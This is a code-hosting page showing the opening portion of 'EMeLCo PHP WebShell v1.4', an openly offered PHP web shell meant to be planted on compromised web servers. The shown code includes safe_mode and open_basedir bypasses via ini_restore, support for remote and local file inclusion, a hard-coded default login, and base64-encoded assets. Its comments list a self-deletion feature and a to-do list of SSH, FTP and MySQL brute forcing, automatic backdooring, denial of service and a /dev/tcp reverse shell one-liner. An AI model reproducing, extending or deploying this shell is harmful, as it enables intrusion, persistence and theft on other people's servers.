PageRenderTime 109ms CodeModel.GetById 20ms RepoModel.GetById 1ms app.codeStats 0ms

/emelco-1.4.php

http://emelco.googlecode.com/
PHP | 790 lines | 685 code | 14 blank | 91 comment | 9 complexity | 3d6c107c2d8c378e2ff1c72867ab089b MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. :::::::::: ::: ::: :::::::::: ::: :::::::: ::::::::
  4. :+: :+:+: :+:+: :+: :+: :+: :+: :+: :+:
  5. +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+
  6. +#++:++# +#+ +:+ +#+ +#++:++# +#+ +#+ +#+ +:+
  7. +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  8. #+# #+# #+# #+# #+# #+# #+# #+# #+#
  9. ########## ### ### ########## ########## ######## ########
  10. ::: ::: :::::::::: ::::::::: :::::::: ::: ::: :::::::::: ::: :::
  11. :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
  12. +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
  13. +#+ +:+ +#+ +#++:++# +#++:++#+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
  14. +#+ +#+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
  15. #+#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
  16. ### ### ########## ######### ######## ### ### ########## ########## ##########
  17. EMelCo PHP WebShell v1.4
  18. Escrita por >> s E t H <<
  19. xd (dot) seth (at) gmail (dot) com
  20. http://code.google.com/p/emelco/
  21. http://emelco.66ghz.com/lists/
  22. http://elrincondeseth.wordpress.com/
  23. http://xd-blog.com.ar/
  24. http://foro.undersecurity.net/
  25. http://0verl0ad.blogspot.com/
  26. Copyright (c) 2009 2010 2011, EMeLCo
  27. All rights reserved.
  28. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  29. * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  30. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
  31. * Neither the name of the authors nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
  32. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  33. Gracielas: The X-C3LL, undersecurity.net, Zerial, S[e]C, ksha, Protos, famfamfam.com, Moon of Paper, tty0
  34. Changelog:
  35. 1.4
  36. [!] El usuario por defecto es "by seth"
  37. [+] El css se muestra como un archivo separado para que quede en cache y cargue mas rapido
  38. [!] Arreglados un par de bugs al leer archivos
  39. [!] Arreglado un bug en el formulario para hacer chmod
  40. [!] Si la version de php no esta afectada por el bug, no se muestra el checkbox para el exploit de ini_restore
  41. [+] Funcion para borrarse a si misma
  42. [-] w=creditos no está mas
  43. [!] Cambió el icono para ejecutar comandos dentro de una carpeta
  44. [+] Funcion para empaquetar y descargar directorios
  45. [+] Bypass safe mode http://securityreason.com/achievement_securityalert/37
  46. 1.3.1
  47. [!] Modificado un bug que hacia que no se guarde la cookie con el estado del div lateral si no se ve el div de abajo
  48. [!] Cambié un par de comillas dobles que quedaban
  49. To do:
  50. [!] Eliminar los mensajes de: "No se puede leer /var/log/messages porque supera los 50000 bytes", o ponerlos como link
  51. [+] Agregar rootexploits
  52. [+] Agregar exploits de php
  53. [+] Agregar backdoorizacion automática
  54. [+] Agregar descripciones en los textarea e input--> onfocus="this.value=''; this.onfocus=null;"
  55. [!] Mejorar las funciones para leer y escribir archivos
  56. [+] Agregar brute force de ssh
  57. [+] Agregar brute force de ftp
  58. [+] Agregar brute force de mysql
  59. [+] Agregar navegador de sql
  60. [+] Enviar muchos emails de un saque
  61. [+] DoS ?
  62. [+] Poner todas las imágenes en un solo archivo y mostrarlas con css para ahorrar peticiones
  63. [+] Usar ajax
  64. [+] Agregar comandos de la WSO, r57 y las variaciones de c99
  65. [+] Poner el css como las imagenes, en una peticion aparte y poner una version oscura
  66. [+] Agregar un reverse dns como el de US dentro de la shell
  67. [+] Comprimir directorios con ZipArchive
  68. [+] Reverse shell: exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  69. */
  70. //Usuario (Dejalo vacio para que no pida clave):
  71. $nombre_usuario = 'by seth';
  72. //hash sha1 de la clave
  73. $clave_usuario = 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'; //"EMeLCo"
  74. //Cambia esto para usar la shell con LFI
  75. //$rfiurl = "?page=../../../error_log&";
  76. $rfiurl = false;
  77. error_reporting(0); //final
  78. //error_reporting(E_ALL); //desarrollo
  79. /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/ /**/
  80. // http://securityreason.com/achievement_securityalert/42
  81. if(strtolower(ini_get('safe_mode'))=='on'){
  82. ini_restore('safe_mode');
  83. }
  84. if($_COOKIE['openBasedirBypass']=='true'){
  85. ini_restore('open_basedir');
  86. }
  87. set_time_limit(0);
  88. ini_set('memory_limit', -1);
  89. $nombre = 'EMeLCo WebShell v1.4';
  90. // de php.net para contrarrestar magic_quotes_gpc
  91. if (get_magic_quotes_gpc()) {
  92. function stripslashes_deep($value)
  93. {
  94. $value = is_array($value) ?
  95. array_map('stripslashes_deep', $value) :
  96. stripslashes($value);
  97. return $value;
  98. }
  99. $_POST = array_map('stripslashes_deep', $_POST);
  100. $_GET = array_map('stripslashes_deep', $_GET);
  101. $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
  102. $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
  103. }
  104. //Parcheamos la url para que ande con RFI
  105. if (!$rfiurl){
  106. $rfiurl = '?';
  107. $include = '&';
  108. foreach (explode('&',getenv('QUERY_STRING')) as $v) {
  109. $v = explode('=',$v);
  110. $name = urldecode($v[0]);
  111. $value = urldecode($v[1]);
  112. foreach (array('http://','https://','ssl://','ftp://','\\') as $needle) {
  113. if (strpos($value,$needle) === 0) {
  114. $rfiurl .= urlencode($name).'='.urlencode($value).'&';}
  115. }
  116. }
  117. unset($v);
  118. unset($name);
  119. unset($value);
  120. }
  121. $rfiurl = htmlentities($rfiurl);
  122. //si tiene clave
  123. if (isset($nombre_usuario) and ($nombre_usuario != '')){
  124. if ( ($_COOKIE['u'] != $nombre_usuario) or ($_COOKIE['c'] != $clave_usuario) ){ //si no está logueado muestra un formulario que pide la clave
  125. echo'
  126. <html><head><script>
  127. function createCookie(name,value,days) {
  128. if (days) {
  129. var date = new Date();
  130. date.setTime(date.getTime()+(days*24*60*60*1000));
  131. var expires = "; expires="+date.toGMTString();
  132. }
  133. else var expires = "";
  134. document.cookie = name+"="+value+expires+"; path=/";
  135. }
  136. function saveIt() {
  137. var x = document.forms["f"].u.value;
  138. createCookie("u",x,7);
  139. var x = document.forms["f"].c.value;
  140. createCookie("c",sha1(x),7);
  141. document.reload();
  142. }
  143. '.base64_decode('ZnVuY3Rpb24gdXRmOF9lbmNvZGUgKCBhcmdTdHJpbm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gICAgZm9yIChpPTA7IGk8MTY7IGkrKykge1dbaV0gPSB3b3JkX2FycmF5W2Jsb2Nrc3RhcnQraV07fQ0KDQogICAgICAgIGZvciAoaT0xNjsgaTw9Nzk7IGkrKykge1dbaV0gPSByb3RhdGVfbGVmdChXW2ktM10gXiBXW2ktOF0gXiBXW2ktMTRdIF4gV1tpLTE2XSwgMSk7fQ0KDQogDQoNCiANCg0KICAgICAgICBBID0gSDA7DQoNCiAgICAgICAgQiA9IEgxOw0KDQogICAgICAgIEMgPSBIMjsNCg0KICAgICAgICBEID0gSDM7DQoNCiAgICAgICAgRSA9IEg0Ow0KDQogDQoNCiAgICAgICAgZm9yIChpPSAwOyBpPD0xOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArICgoQiZDKSB8ICh+QiZEKSkgKyBFICsgV1tpXSArIDB4NUE4Mjc5OTkpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgZm9yIChpPTIwOyBpPD0zOTsgaSsrKSB7DQoNCiAgICAgICAgICAgIHRlbXAgPSAocm90YXRlX2xlZnQoQSw1KSArIChCIF4gQyBeIEQpICsgRSArIFdbaV0gKyAweDZFRDlFQkExKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgICAgICBFID0gRDsNCg0KICAgICAgICAgICAgRCA9IEM7DQoNCiAgICAgICAgICAgIEMgPSByb3RhdGVfbGVmdChCLDMwKTsNCg0KICAgICAgICAgICAgQiA9IEE7DQoNCiAgICAgICAgICAgIEEgPSB0ZW1wOw0KDQogICAgICAgIH0NCg0KIA0KDQogICAgICAgIGZvciAoaT00MDsgaTw9NTk7IGkrKykgew0KDQogICAgICAgICAgICB0ZW1wID0gKHJvdGF0ZV9sZWZ0KEEsNSkgKyAoKEImQykgfCAoQiZEKSB8IChDJkQpKSArIEUgKyBXW2ldICsgMHg4RjFCQkNEQykgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICAgICAgRSA9IEQ7DQoNCiAgICAgICAgICAgIEQgPSBDOw0KDQogICAgICAgICAgICBDID0gcm90YXRlX2xlZnQoQiwzMCk7DQoNCiAgICAgICAgICAgIEIgPSBBOw0KDQogICAgICAgICAgICBBID0gdGVtcDsNCg0KICAgICAgICB9DQoNCiANCg0KICAgICAgICBmb3IgKGk9NjA7IGk8PTc5OyBpKyspIHsNCg0KICAgICAgICAgICAgdGVtcCA9IChyb3RhdGVfbGVmdChBLDUpICsgKEIgXiBDIF4gRCkgKyBFICsgV1tpXSArIDB4Q0E2MkMxRDYpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgICAgIEUgPSBEOw0KDQogICAgICAgICAgICBEID0gQzsNCg0KICAgICAgICAgICAgQyA9IHJvdGF0ZV9sZWZ0KEIsMzApOw0KDQogICAgICAgICAgICBCID0gQTsNCg0KICAgICAgICAgICAgQSA9IHRlbXA7DQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgSDAgPSAoSDAgKyBBKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEgxID0gKEgxICsgQikgJiAweDBmZmZmZmZmZjsNCg0KICAgICAgICBIMiA9IChIMiArIEMpICYgMHgwZmZmZmZmZmY7DQoNCiAgICAgICAgSDMgPSAoSDMgKyBEKSAmIDB4MGZmZmZmZmZmOw0KDQogICAgICAgIEg0ID0gKEg0ICsgRSkgJiAweDBmZmZmZmZmZjsNCg0KICAgIH0NCg0KIA0KDQogICAgdGVtcCA9IGN2dF9oZXgoSDApICsgY3Z0X2hleChIMSkgKyBjdnRfaGV4KEgyKSArIGN2dF9oZXgoSDMpICsgY3Z0X2hleChINCk7DQoNCiAgICByZXR1cm4gdGVtcC50b0xvd2VyQ2FzZSgpOw0KDQp9').'
  144. </script></head><body>';
  145. if($clave_usuario == 'a0f1ba7debe4a2049b0f84d7dd95009a812f0b1a'){
  146. echo '<div style="font-weight: bold; color: #CD2626;">&iexcl;ATENCI&Oacute;N, no se cambi&oacute; la clave por defecto!</div><br>';
  147. }
  148. echo '<form name="f" action="'.$rfiurl.'" method="POST">
  149. Usuario: <input name="u" type="text"><br>Clave: <input name="c" type="password"><br><input type="submit" value="Entrar" onclick="saveIt()">
  150. </form></body></html>
  151. ';
  152. die();
  153. }
  154. }
  155. // Con esto mostramos las imagenes. Va arriba porque no se puede mandar nada antes
  156. if ($_GET['w']=='img'){
  157. Header('Content-type: image/gif');
  158. if($_GET['imagen']=='carpeta'){
  159. die(base64_decode('R0lGODlhEAAQAMQfAOvGUf7ztuvPMf/78/fkl/Pbg+u8Rvjqteu2Pf3zxPz36Pz0z+vTmPzurPvuw/npofbjquvNefHVduuyN+uuMu3Oafbgjfnqvf/3zv/3xevPi+vRjP/20/bmsP///////yH5BAEAAB8ALAAAAAAQABAAAAV24CeOZGmepqeqqOgxjBZFa+19r4ftWQUAgqDgltthMshMIJAZ4jYDHsBARSAmFOJvq+g6HIdEFgcYmBWNxoNAsDjGHgBnmV5bCoUDHLBIq9sFEhIdcAYJdYASFRUQhQkLCwkOFwcdEBAXhVabE52ecDahKy0oIQA7'));
  160. }elseif($_GET['imagen']=='ejecutable'){
  161. die(base64_decode('R0lGODlhEAAQAMQfAESUKF/CPoXZVn3VUihXGGXGQU6qL/b79HHNSdTvyy9nHD6HJnfRTYDWVI7eXIrcWonbWXrTT0mhLGnJRG3LRyVPFnTPSzZ0Ib3mr460gLLiocXpuCNMFez46P///////yH5BAEAAB8ALAAAAAAQABAAAAWJ4Pd5ZGl6ougZbCtJALCgo5EdXa53h3ahq4PD8YAIGoMII6EAGjpEoyDJsGwIzk5R4GkoLYgrUNKRkqoIyqYy7giOpfRkDVx0kBESZVIoaDh1HVQeCBN8AX9AFx1faX0BiIAjCgdoewWQARiSHgoZCRuhGxqkGBmSIwQVqxytrqgqJycptLW2HyEAOw=='));
  162. }elseif($_GET['imagen']=='enlace'){
  163. die(base64_decode('R0lGODlhEAAQANUkAHBwcMXFxaioqJqamtHR0XNzc6SkpJeXl6CgoNXV1ZiYmHd3d8fHx6Kioo2NjZubm6GhoX9/f4qKipSUlKenp5CQkJOTk6Ojo3t7e6WlpZ2dnX19fZ+fn4SEhHJycn5+foWFhZ6entra2v///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACQALAAAAAAQABAAAAZmQJJwSCwaj0jSaMlMjgSUjAGCGB2fI1GCwAg8rEKmYGRAcAYKRWDCHIXe78vyAH8vRXg8SBjJ45cggYEDSwUAh4dtDSMHFRIdHxgBC01hGllbXR5gRSMWDiAbCwWcRm1LSamqq6pBADs='));
  164. }elseif($_GET['imagen']=='flechad'){
  165. die(base64_decode('R0lGODlhEAAQALMLAJLNXpDEaZPNX4/NU5bUWJnXWpDNVIvFWXyuWmOPRf///////wAAAAAAAAAAAAAAACH5BAEAAAsALAAAAAAQABAAAAQvcMlJq704Z6U0VUm3cWC4JWgCmBc4GESxihUIAIGAsHWaHLwaCUU7FUeepHJpiQAAOw=='));
  166. }elseif($_GET['imagen']=='archivo'){
  167. die(base64_decode('R0lGODlhEAAQAMQfAMfj/uzx9rvc/eXt9YivyHaXtFdwkZXK/KvU+0lVa/L2+rba/KTR+4m77FJhe67T5UNLXNXn8MDf/bHX/JrA1qjL3t7n7ykxQz5FVeLp8LDR48vM0Z7O+9Xb5P///////yH5BAEAAB8ALAAAAAAQABAAAAWPoCeO5PidXvRoFUURRCEXHvpEQ5DrQ98YNY9mACgWJUhF4yeqKIwApECgqDpElOdRulhMFFdPdisRdCcIsIjwlJon6HRireB6EQgGYzD3FAJccXocAxAif1N3eQwcHBmGfgFmd4MHBxYYhwpveIwclgGZHgYdCjwZqBkWARsXhwawDg4JCRAQGBgXYSW8JCEAOw=='));
  168. }elseif($_GET['imagen']=='descargar'){
  169. die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtJrM++vx9+Xt9YivyKTR+8fj/ldwkUlVa73e/dXb5PH1+mGNRPDx8bPY/Im77H6xW1Jhe7TR4ENLXNXn8PX4+vv7+5rA1qjL3uDo7ykxQz5FVWOPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWWoCeO5PidXjVNGYYVRSAHHjpVxJDrRA8hNc+EcCgWFUgG5CfKWIydaEfBqEpEmGexA4h0HmDG1ZOFdr/hcYFxkAIAUgMjIVorLtw3oHExEOgeAQNJHRERDQ4GfhQigkgPDg2IBgICGoyBg2CQiZWWHI0WCpuKlJUOoB4ICww8BBqwGg4TG40ItxISCQkUFBwcG2MlwyQhADs='));
  170. }elseif($_GET['imagen']=='editar'){
  171. die(base64_decode('R0lGODlhEAAQAMQAAGB3lYivyMDf/XiZt+Ts9ajT/Mbh/UlVa/P2+bLY/FRlfu3x9ZzN++Xy/rTR4ENLXN7v/tTk8Jm/1enx96jL3uDo7ykxQz5FVb2JAP+8Bv/RV6HQ/FSr9qfR+jhllf///yH5BAAAAAAALAAAAAAQABAAAAWV4CeOZClGjkNJUhAMsOdJohMRUz4RvNdxntrEQCQKGj6gQkRBFAXHpAex/EicBijy54FQRddslAspfD8BhBZDLpgPovQRo8l0C50NAf4ZLBp0GRhleXoPIn4RdYN4GxsMFYd9CwkKlgoAAwybFReICAkJeAUDAKYAC54fABEIOzwEFbILDhaImJcHBw8PFxcWVSbCIiEAOw=='));
  172. }elseif($_GET['imagen']=='eliminar'){
  173. die(base64_decode('R0lGODlhEAAQAMQfAPMyMpfL/HSUseYTE/5WVrzd/e3x9eXs9VdwkarU+0pXbbba/ISqxaLQ+/74+MLg/Ym77PD1+v+IiNrf51Jhe0RNX/729rHX/CkxQz9GVsvM0f7IyNRBRuDo8P///////yH5BAEAAB8ALAAAAAAQABAAAAWSoOdYnlie5ac63OBt3MTMQu2p5TAQXhQdwAMEcSsRBoDSY1mIQIYigIsg8TCbPorHMqieHoXCYnGJaL9LsJicMJcYkfT6ckm0Fe84eFy3Nw54HgwGamwJDYgHFSUCBmGGiA0BHYsejXN+kpMZjBFifYgBogacHggTEQZBHawdBhoYjAizFBQKChUVGRkYZyi/wCEAOw=='));
  174. }elseif($_GET['imagen']=='comandos'){
  175. die(base64_decode('iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAGNSURBVDjLpVM9SwNBEJ297J1FQBtzjQj2dgppYiP4A1KZRoiFrYWt9rHyH6QUPBDTCimtLNSAnSB26YKg4EdMdsd5611cjwsIWRhmZ3f2zZuPVcxMsyx9fPF0NRfS2vM7lx2WtcQiJHvDRvZMluXMGNHstJH7+Wj09jHkOy1+tc3VxeC+P6TXT1sYZX2hT7cvS6lepv3zHUp2T8vXNw81dXT2yGwEGeERSbSVCC5qysYa+3vm9sJGmLFojceXJ9uklCqUIAic5G3IytahAAhqqVSiwWDwx6nogW9XKhWphaGAvC50Oh1qtVr/7oAdCwBQwjB00mg0qFqtUr1ed3YURZM7X7TWTqM2Gm3CASRJEur1etTtdp1DnrafFtJGMbVNGSBas9l0DrAzR6x8DdwASUB0RqNNGS2/gH7EInvCwMhkZTnlnX0GsP09tJER0BgMoAEAa1rETDIQvBkjBZeHMIjjuNB5Ggg0/oZWPGrHGwd7Fp9F2CAlgHKqf0aYXb6Y2mzE8d/IfrXVrN/5G81p6oa2mIEUAAAAAElFTkSuQmCC'));
  176. }elseif($_GET['imagen']=='archivonuevo'){
  177. die(base64_decode('R0lGODlhEAAQANUoAOLp8ElVa0NLXIivyJXK/D5FVYm77N7n7ykxQ5rA1svM0YS8O4C4OJXJSInAP5fLS362N4/ERJLHR5DFRdXb5JbKStXn8HqzM4vAQJ7O+1Jhe1dwkezx9nKsLeXt9XaXtKTR+7HX/PL2+sDf/bvc/avU+7ba/P///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACgALAAAAAAQABAAAAaXwJNwSByijifLqdM5JQaDj/RzQgofjaFn6zFsqsuKJOJojs4ig1fYmWAWEDOJJKpriIzLcEQymUIid05LZnx+ISWBQgNEc3+IiQGLImd9fyUlICAekicfHJWXmSAZHgJCn46QmhkZAKeeHJaIrAQEBwWoIn2rrbYcuScbFCIcWwDIAAccCgioG9AaGgEBAgIFBQiCRdxEQQA7'));
  178. }elseif($_GET['imagen']=='carpetanueva'){
  179. die(base64_decode('R0lGODlhEAAQANUnAP/3xffkl+vPMfbgjf3zxP7ztvnpofz36PPbg/vuw+3Oaf/78/HVdvbjqvjqtfz0z/bmsPnqvYvAQI/ERJfLS//204nAP5XJSHqzM5bKSoS8O5LHR362N4C4OJDFReu8Ruu2PeuyN+vGUXKsLeuuMvzurP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACcALAAAAAAQABAAAAaFwNPJRDQJj8ijaTQyJpFFyqX4FC4zm4mlWewSRx6JhtNUiESCtKDbwRQB8EIBsB4umwDRZw8ChUhGXiIHhAkJDgSAQyILjQclJQYBAQMJiiYiFXKQkgMICA6XIg+QkZQIDAwQlx8EnKcMCgoNrAQPDwQJEQ4QDQ0RrH3CIcTFl17IVFXLQQA7'));
  180. }elseif($_GET['imagen']=='php'){
  181. die(base64_decode('R0lGODlhEAAQAMQfAOTq8+3x9pSty/L2+26NyLXa/JTI+lZtjYSiuFJrsUlVa8jj/oW05uft9XqVr9TZ6d3h76zU+93n8FJgebLD00NLXGqIqSkxQz5FVb/e/XuZ0MvM0Z/P+0BXo////////yH5BAEAAB8ALAAAAAAQABAAAAWloCeO5PidnoMggrA6sGN5qCA1AZ43DWAcNI8gsCgWM8gBgwH0UAbGBTJTGFibgYAm0ekmCIJCdSKSdDuBcyehiQzIns6gARkEBHMIe6AQdQAdEA1ogxAdBAB9cQEAD4CMEA9sABUiAoBqD2sEHBKVHg0ECVxeBAwGBhIYIhQeVAURERyzqAGrHhYPdjwAvQASARsXIg4HxhMTCgoVFRgYF3Al0iQhADs='));
  182. }elseif($_GET['imagen']=='derecha'){
  183. die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtMfj/pfL/OTr9IivyMvM0Vdwkb7e/UpXbfP2+azU+9Xo9Ovx9u32/mGNRIm77OPx/rXZ/H6xW1Jhe6/S5ERNX5rA1qjL3tvj6ykxQz9GVqDP+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWYoCeO5PidHlNV2HUVRSAHHloxRKM3RE9Ah5qn0hAYjYikAwIUYRRHAaKjdCgoogv0OO1IvtfstkPuALyLsKcAnQLegEknnRCxk4/J5D15CAh1HgENSWVmDxEcBBYig0kMEREdiBwDi42EXwsLHYkDAxkbjQoImgsclZ8Noh4HGQo8Pj0ZDQYajQe5FBQJCRYWGxsaWCXFJSEAOw=='));
  184. }elseif($_GET['imagen']=='izquierda'){
  185. die(base64_decode('R0lGODlhEAAQAMQfAHaXtJLNW5fL/OTs9YivyMfj/tXb5Fdwkb3e/anT+0lVa/P2+dTn9Ovx9u32/mGNRIm77LXZ/H6xW1Jhe+Px/rTR4ENLXJrA1qjL3uDo7ykxQz5FVZ/P+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWaoCeO5PidHlNV2HURBCADHloxQ6M3Qz9Ah5qn0igYjYikAwIUYRbHQieJcDgWE9EFauxMEZEwVsvtBLxeRmLsIUAfkoD8TFkrRG4EXC6RdOoDdx4ADUkPAQ9oFBwDFiKESRGJFBQFHBwZjoOFYQkdlhwCAhkbjwtgEQmql6INpR4HBgs8Phm2DRUajwe8ExMKChbCGxpZJcclIQA7'));
  186. }elseif($_GET['imagen']=='copiar'){
  187. die(base64_decode('R0lGODlhEAAQAMQfAHKQruzx9sfj/uXt9vL2+tXb5MHU4arT+7zd/YmwylVri5XK/IO76EhUaa/S5bPZ/Ha36VRie5/E2Ft6nt/o7ykxQ0FIVz1EVajL332hvNfn8HyjwI7B76HQ+////////yH5BAEAAB8ALAAAAAAQABAAAAWToCeO42een2c4jpRkAOChpudowxDk3FTWjoFAsGq9YrMUhiBg4XQ8X0rC5ASHAgSBw1CIEkzGEqslELwesIBBHSIQjwchItoEEAz1+3E4EBoiAHcQenwHHQOAHgAECBB2e4eIihMFBAaCcIcLCxQWgQoKEYyaHZwBFyQilQQ5FBQBBhVJNQChEQ0NFhcVdCiqwB4hADs='));
  188. }elseif($_GET['imagen']=='comprimir'){
  189. die(base64_decode('iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKQSURBVDjLbZNNaJxVFIafe7/5KTPzpUloNK0tIsowCtbiQgRRQReudCMVqYrdiLgQ01UrWUgXXZQumoU2myyKii66dOFCEUo3IiL+VRMFHactYpsMmsy0mbnnx8X8tEn7wuHAudyH97zcG9wdgKWl9zNgl7vvrVar51T1PndHVQHDzBCRFGNhqd1ePXb06PF1gALAhbONF+7PanPtymtP9G2iVK3WmJjYibtjZuNupsWVlYtviaRTwABw4WzjEPDRVGMy/vt3QLpCu73G2toqZoKZE2Mkz3PyfBKxgKplDFUA3rz7wL5Y2lnigdrHiDhuRlaoYJslrv3cWb7cfehka/3BxUY93+EGqolbAU/tqz+K2V/MzFQAHZYQ4146v55v/NPd81UxL6uKQgyY2RgQB025fOUPCC9COAjhJVqt38BlcKpKb/M65kbq9YfB3nQAGOVSxqXWCXDBSZTLBWAAMDOKsYibYURE0naAMjOzC5gc2Pc0vDwApJTQGx3UDJHNLQ7GK1xq/Q7hFQivQjzMn82LY4CqhiwWw8BBQNW2OxBK5Yxm812whNNnx5YVtBBkoxICkLqYbcugt9Fh9+xj4/RHtblxA7EMVZsOYZC+qqMqWwBHfvr829OjgRNIWkIsIhb54cr+r7Ms+3Bqanr0GjHzm4AnDy8vAAujwfz83NTs7O7z3W7nYTOjH3uPp7RuWZYNHdhtDrZIVda/8+fPWa06nfWvfjJxdfFTEd2zvPzLZyn1CCHSrx954/UPWi8DC2H0G2/VM8ebzeceqd375fer/9WvnTgDVET0oLsWzJDmPe/lzx64K//ix43WHQH1t1fmgLkC/TNPy8lFM4vuWhGx6G72TXX+UAqVd4DT/wMfm3vSJoP5ygAAAABJRU5ErkJggg=='));
  190. }else{
  191. die();
  192. }
  193. // Mostramos el css, igual que con las imagenes
  194. }elseif ($_GET['w']=='css'){
  195. Header('Content-type: text/css');
  196. die(base64_decode('Ym9keXsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRUNGMUVGOw0KICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQp9DQp0YWJsZXsNCiAgICBmb250LXNpemU6IDEycHg7DQogICAgY29sb3I6ICM4QjgzNzg7DQogICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICBtYXJnaW4tcmlnaHQ6IGF1dG87DQp9DQp0ZHsNCiAgICBwYWRkaW5nLXJpZ2h0OjEwcHg7DQogICAgcGFkZGluZy1sZWZ0OjEwcHg7DQogICAgYm9yZGVyOiAxcHggZGFzaGVkICNCREI1QUY7DQp9DQouY29udGVuZWRvcnsNCiAgICBib3JkZXI6IDJweCBzb2xpZCAjMzMzMzMzOw0KICAgIHBhZGRpbmc6IDElIDIlIDIlIDElOw0KICAgIG1hcmdpbjogMCBhdXRvIDAgYXV0bzsNCiAgICBib3JkZXItY29sb3I6ICNDREM1QkYNCn0NCi5jb250ZW5lZG9yZ3JhbmRl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bGVmdDt9DQojcGhwaW5mbyAuY2VudGVyIHRoIHsgdGV4dC1hbGlnbjogY2VudGVyICFpbXBvcnRhbnQ7IH0NCiNwaHBpbmZvIHRkIHt2ZXJ0aWNhbC1hbGlnbjogYmFzZWxpbmU7fQ0KI3BocGluZm8gdGgge2JvcmRlcjogMnB4IGRhc2hlZCAjQkRCNUFGO30NCiNwaHBpbmZvIGgxIHtmb250LXNpemU6IDE1MCU7fQ0KI3BocGluZm8gaDIge2ZvbnQtc2l6ZTogMTI1JTt9DQojcGhwaW5mbyAucCB7dGV4dC1hbGlnbjogbGVmdDt9DQojcGhwaW5mbyAudnIge2JhY2tncm91bmQtY29sb3I6ICNjY2NjY2M7IHRleHQtYWxpZ246IHJpZ2h0OyBjb2xvcjogIzAwMDAwMDt9DQojcGhwaW5mbyBpbWcge2Zsb2F0OiByaWdodDsgYm9yZGVyOiAwcHg7fQ0KI3BocGluZm8gaHIge3dpZHRoOiA2MDBweDsgYmFja2dyb3VuZC1jb2xvcjogI2NjY2NjYzsgYm9yZGVyOiAwcHg7IGhlaWdodDogMXB4OyBjb2xvcjogIzAwMDAwMDt9'));
  197. // Esto es para descargar archivos. Va arriba porque no se puede mandar nada antes
